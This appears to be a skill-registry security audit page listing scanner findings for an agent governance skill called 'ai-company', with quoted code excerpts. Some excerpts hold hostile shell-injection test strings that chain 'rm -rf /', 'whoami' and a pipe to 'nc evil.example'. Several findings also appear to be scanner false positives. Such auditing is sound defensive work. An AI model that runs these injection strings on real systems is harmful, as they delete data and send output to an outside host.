ClawHub
Back to skill

Security audit

ai-company

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly coherent governance tooling, but it asks for broad workspace and agent-session authority with broad activation triggers and some under-disclosed side effects.

Review this skill before installing if your workspace contains sensitive project data. Its core purpose is coherent, but install it only where broad workspace read/write and agent-session/subagent permissions are acceptable, and prefer running self-scaling actions manually after checking that state-file updates and generated upgrade packages are expected.

A.I.G

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs

SkillSpector

Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Memory PoisoningPersistent Context Injection, Context Window Stuffing, Memory Manipulation
Findings (34)

Dangerous chain: exec() wrapping compile

Critical
Category
Dangerous Code Execution
Content
ns["Path"] = Path
    for block in blocks:
        try:
            exec(compile(block, str(src), "exec"), ns)
        except SyntaxError as exc:
            offending = ""
            if exc.lineno and 0 < exc.lineno <= len(block.splitlines()):
Confidence
99% confidence
Finding
The test extracts Python code blocks from a markdown file and executes them with exec(compile(...)) in-process. If the authoritative markdown source is modified maliciously or compromised in the supply chain, arbitrary Python code runs during testing with the privileges of the test runner, which can read files, spawn processes, and alter the environment.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
blocked_prefixes = ("api_", "token", "secret", "password", "key_")
    return {
        name: value
        for name, value in os.environ.items()
        if not name.lower().startswith(blocked_prefixes)
    }
Confidence
84% confidence
Finding
The helper iterates over the full process environment and forwards most variables into child processes, excluding only a narrow prefix list. This can leak non-matching secrets such as `AWS_SESSION_TOKEN`, `OPENAI_API_KEY`, `GITHUB_TOKEN`, cloud credentials, internal endpoints, or proxy settings to untrusted subprocesses.

Self-Modification

High
Category
Rogue Agent
Content
scrubs secret-like variables from child environments.
- **Zero sensitive-path access** — template 6 rejects any path resolving
  outside `{SKILL_DIR}`.
- **Zero self-rewrite** — the skill never writes into `{SKILL_DIR}`;
  writable output goes only under `{WORKSPACE_ROOT}`.
- **Idempotency** — operations are safe to retry; `retry_with_backoff`
  re-raises the final error and `check_rate_limit` keeps no persistent
Confidence
90% confidence
Finding
Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Self-Modification

High
Category
Rogue Agent
Content
**error-code alias-table skeleton** to `error-codes.md` (one row per legacy
`CEO_`/`CTO_` code, every row marked "requires human review") and flags the
completion of the mappings in the upgrade report as a mandatory human-review
item; this build does not rewrite the existing code tables automatically. The
report lists the retained prefixes, the revived prefixes, and the review
requirement, and gate G6 verifies that the package's `error_code_prefixes`
frontmatter lists all five department prefixes plus `SCL_`.
Confidence
85% confidence
Finding
Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Content
m
}

# --------------------------------------------------------------------------------------
# Threshold evaluation (step 2, T1-T4)
# --------------------------------------------------------------------------------------

function Invoke-ThresholdEvaluation {
  param($State, $Metrics, $Config)
  $tier = [string]$State.current_tier
  $cap = $TierAgentCaps[$tier]
  $mean = $TierBlockMean[$tier]
  $triggers = @()

  # T1 - agent capacity overflow
  $t1Limit = [math]::Round($cap * $Config.AgentHeadroom, 3)
  Write-Log ("T1 agent capacity: agent_count = {0}, threshold > {1}" -f $Metrics.AgentCount, $t1Limit)
  if ($Metrics.AgentCount -gt $t1Limit) {
    $triggers += @{ Id = 'T1'; Name = 'Agent capacity overflow'; Metric = 'agent_count'; Value = $Metrics.AgentCount; Threshold = ('> ' + $t1Limit) }
  }

  # T2 - function-block overload in a single department
  $t2Limit = [math]::Round($mean * $Config.BlocksRatio, 3)
  Write-Log ("T2 function-block overload: max_blocks_per_department = {0}, t
Confidence
80% confidence
Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Obfuscated Code

High
Category
Supply Chain
Content
# Decoded, $newTree is the 29-file small-tier layout: 15 root files
  # (incl. README-FOR-AI.md), prompts/ (3), references/ (3),
  # references/departments/ (5 new slugs), scripts/ (2), tests/ (1).
  $newTree = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('YWktY29tcGFueS1nb3Zlcm5hbmNlLwrilJzilIDilIAgLmVkaXRvcmNvbmZpZwrilJzilIDilIAgLmdpdGlnbm9yZQrilJzilIDilIAgLnNjYWxpbmctc3RhdGUuanNvbgrilJzilIDilIAgQUdFTlRTLm1kCuKUnOKUgOKUgCBDSEFOR0VMT0cubWQK4pSc4pSA4pSAIENPREVfT0ZfQ09ORFVDVC5tZArilJzilIDilIAgQ09OVFJJQlVUSU5HLm1kCuKUnOKUgOKUgCBMSUNFTlNFCuKUnOKUgOKUgCBSRUFETUUtRk9SLUFJLm1kCuKUnOKUgOKUgCBSRUFETUUuZW4ubWQK4pSc4pSA4pSAIFJFQURNRS5tZArilJzilIDilIAgUkVBRE1FLnpoLm1kCuKUnOKUgOKUgCBTRUNVUklUWS5tZArilJzilIDilIAgU0tJTEwubWQK4pSc4pSA4pSAIF9tZXRhLmpzb24K4pSc4pSA4pSAIHByb21wdHMvCuKUgiAgIOKUnOKUgOKUgCAwMS1pbXBsZW1lbnQtbWV0aG9kLm1kCuKUgiAgIOKUnOKUgOKUgCAwMi1yb2J1c3RuZXNzLWNoZWNrcy5tZArilIIgICDilJTilIDilIAgMDMtdGVzdC1jYXNlcy5tZArilJzilIDilIAgcmVmZXJlbmNlcy8K4pSCICAg4pSc4pSA4pSAIG1ldGhvZC1wYXR0ZXJucy5tZArilIIgICDilJzilIDilIAgZXJyb3ItY29kZXMubWQK4pSCICAg4pSc4pSA4pSAIHNjYWxpbmcubWQK4pSCICAg4pSU4pSA4pSAIGRlcGFydG1lbnRzLwrilIIgICAgICAg4pSc4pSA4pSAIGdvdmVybmFuY2UtYW5kLW9wZXJhdGlvbnMubWQK4pSCICAgICAgIOKUnOKUgOKUgCBxdWFsaXR5LWFuZC1kZWxpdmVyeS5tZArilIIgICAgICAg4pSc4pSA4pSAIHRlY2hub2xvZ3ktYW5kLXBsYXRmb3JtLm1kCuKUgiAgICAgICDilJzilIDilIAgc2VjdXJpdHktYW5kLWNvbXBsaWFuY2UubWQK4pSCICAgICAgIOKUlOKUgOKUgCBwZW9wbGUtYW5kLWdyb3d0aC5tZArilJzilIDilIAgc2NyaXB0cy8K4pSCICAg4pSc4pSA4pSAIHNlbGYtc2NhbGUucHMxCuKUgiAgIOKUlOKUgOKUgCBzY2FsaW5nLWNvbmZpZy5qc29uCuKUlOKUgOKUgCB0ZXN0cy8KICAgIOKUlOKUgOKUgCB0ZXN0LW1ldGhvZC1wYXR0ZXJucy5weQo='))
  $newTree = $newTree + "`n"
  $treeNoteEn = '> Structure tree rewritten to the 29-file small-tier skeleton by the'
  $treeNoteEn = $treeNoteEn + ' upgrade generator - requires human review before installation.'
Confidence
50% confidence
Finding
Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

exec() call detected

High
Category
Dangerous Code Execution
Content
ns["Path"] = Path
    for block in blocks:
        try:
            exec(compile(block, str(src), "exec"), ns)
        except SyntaxError as exc:
            offending = ""
            if exc.lineno and 0 < exc.lineno <= len(block.splitlines()):
Confidence
99% confidence
Finding
The exec() call executes code derived from repository content rather than a trusted static module. In this skill context, that is especially risky because the test harness explicitly loads and runs code from documentation, so any tampering of references/method-patterns.md becomes code execution during CI or local validation.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:
Confidence
100% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:
Confidence
100% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Chaining Abuse

High
Category
Tool Misuse
Content
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:
Confidence
75% confidence
Finding
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Chaining Abuse

High
Category
Tool Misuse
Content
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:
Confidence
75% confidence
Finding
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Content
径通过但边界失效）")

    # ── 2. sanitize_user_query：普通查询不变 / shell 元字符被净化 ──────────────
    def test_sanitize_user_query(self):
        fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:
            return  # 拒绝危险输入亦为合法净化策略
        self.assertIsInstance(out, str, "净化结果应为字符串")
        for bad in (";", "&&", "`", "$(", "|"):
            self.assertNotIn(bad, out, f"shell 元字符未被净化: {bad!r}")

    # ── 3. execute_safe_command：超时生效 / cwd 受限 ──────────────────────────
    def test_execute_safe_command(self):
        fn = self._fn("execute_s
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
self.assertIsNotNone(tmpl, "模板填充失败：常见占位符语法均未生效")
        # 边界：kwargs 输入先净化（拒绝或去除元字符均可）
        try:
            out2 = fn(tmpl, topic="safe; rm -rf / `whoami`")
        except Exception:
            return  # 拒绝危险输入亦为合法净化策略
        self.assertIsInstance(out2, str)
Confidence
100% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Natural-Language Policy Violations

Medium
Confidence
92% confidence
Finding
This README is a source specification file for agents, but its primary instructional content is written in Chinese and explicitly addressed to the agent as the authoritative generation spec. The policy for all file types prohibits language/locale constraints unless the skill offers user choice or clearly justifies the locale restriction; here the document does not offer language choice for maintainers and instead imposes a single language in the source instructions.

Intent-Code Divergence

Medium
Confidence
80% confidence
Finding
The text says `self-scale.ps1 -Action evaluate` performs a read-only readiness check, then immediately describes scaling activity being recorded in `.scaling-state.json`. In a governance skill, documentation that mixes read-only evaluation language with state-recording behavior can mislead users about side effects of the scaling workflow.

Vague Triggers

Medium
Confidence
91% confidence
Finding
The manifest lists many natural-language triggers such as 'review governance policy', 'translate deliverable content', and 'respond in user language' without defining boundaries, exclusions, or the exact invocation context. Because this is a manifest file, broad trigger wording can cause unintended activation when users make common requests that happen to match these phrases.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
Line L18 instructs output to follow the language currently used in the conversation, and L75 repeats this requirement. This is a natural-language locale policy constraint without explicit user opt-in or a documented justification for enforcing that language behavior.

Natural-Language Policy Violations

Medium
Confidence
97% confidence
Finding
The instruction at L75 mandates that the response be in the language currently used in the conversation. Because it imposes a language choice instead of offering one, it matches the policy-violation category for language or locale constraints.

Vague Triggers

Medium
Confidence
89% confidence
Finding
The activation section provides example scenarios but does not state what should not trigger the skill, making accidental or adversarial invocation easier through ordinary language. Because this skill covers security triage, deployment gating, PII checks, and model policy operations, unclear trigger boundaries expand the chance of unintended execution in sensitive workflows.

Vague Triggers

Medium
Confidence
86% confidence
Finding
The trigger scenario 'Register the model adapter and set its invocation policy' is a broad operational phrase that could be matched during normal discussion or documentation handling, causing the skill to activate for sensitive model-registration and policy actions without clear gating. In this department context, those actions affect deployment and model-governance controls, so ambiguous activation increases the risk of unintended high-impact administrative behavior.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
| CTO_008 | Authentication or authorization failure | A call presents an invalid credential or requests a role beyond least privilege | 1. Deny the request 2. Rotate the affected credential 3. Audit 7 days of that identity's activity |
| CTO_009 | Agent activated without certification | An agent enters production routing with a capability matrix score below 80% | 1. Deactivate the agent 2. Assign targeted training 3. Re-certify before reactivation |
| CTO_010 | Knowledge base staleness | A knowledge or memory artifact passes 90 days unreviewed, or an ethics review is overdue by more than 14 days | 1. Mark the artifact stale 2. Schedule review or ethics audit 3. Update or archive within 10 business days |
| CTO_011 | External content released without approval | Content leaves the organization without L5 harness or CMO sign-off, or NPS falls below 30 | 1. Withdraw the content 2. Route it through the approval chain 3. Add the case to brand review within 5 business days |
| CTO_012 | Intelligence source reliability below threshold | A SITREP cites sources averaging below 0.6 reliability, or is more than 7 days overdue | 1. Reclassify the report as unverified 2. Re-acquire from sources rated 0.6 or higher 3. Republish within 48 hours |

## SCL_ Prefix (infrastructure, all tiers fixed)
Confidence
75% confidence
Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
| CTO_008 | Authentication or authorization failure | A call presents an invalid credential or requests a role beyond least privilege | 1. Deny the request 2. Rotate the affected credential 3. Audit 7 days of that identity's activity |
| CTO_009 | Agent activated without certification | An agent enters production routing with a capability matrix score below 80% | 1. Deactivate the agent 2. Assign targeted training 3. Re-certify before reactivation |
| CTO_010 | Knowledge base staleness | A knowledge or memory artifact passes 90 days unreviewed, or an ethics review is overdue by more than 14 days | 1. Mark the artifact stale 2. Schedule review or ethics audit 3. Update or archive within 10 business days |
| CTO_011 | External content released without approval | Content leaves the organization without L5 harness or CMO sign-off, or NPS falls below 30 | 1. Withdraw the content 2. Route it through the approval chain 3. Add the case to brand review within 5 business days |
| CTO_012 | Intelligence source reliability below threshold | A SITREP cites sources averaging below 0.6 reliability, or is more than 7 days overdue | 1. Reclassify the report as unverified 2. Re-acquire from sources rated 0.6 or higher 3. Republish within 48 hours |

## SCL_ Prefix (infrastructure, all tiers fixed)
Confidence
75% confidence
Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Natural-Language Policy Violations

Medium
Confidence
85% confidence
Finding
Line L007 references a "source-language standard," which indicates the skill package may require a specific language/locale. In this markdown file, there is no accompanying user opt-in, language choice, or explicit region-specific justification for that constraint.

Intent-Code Divergence

Medium
Confidence
95% confidence
Finding
The documentation states that content must already be passed through `mask_sensitive_data`, but `format_output_json` does not enforce that requirement itself. In practice, callers can easily forget the masking step, causing raw PII to be wrapped, logged, or emitted despite the claimed mandatory pipeline.

Context Window Stuffing

Medium
Category
Memory Poisoning
Content
- Only allowlisted text extensions (.md/.txt/.json/.yaml/.yml) may be
      read; binaries and scripts are refused.
    - Files larger than MAX_REFERENCE_FILE_BYTES (1 MiB) are refused, so a
      runaway reference cannot exhaust the context budget.

    Returns the file content as a UTF-8 string.
    """
Confidence
80% confidence
Finding
Skill attempts to fill the context window with filler content, displacing legitimate instructions and safety constraints. This can degrade agent performance or bypass safety boundaries.

Static analysis

No suspicious patterns detected.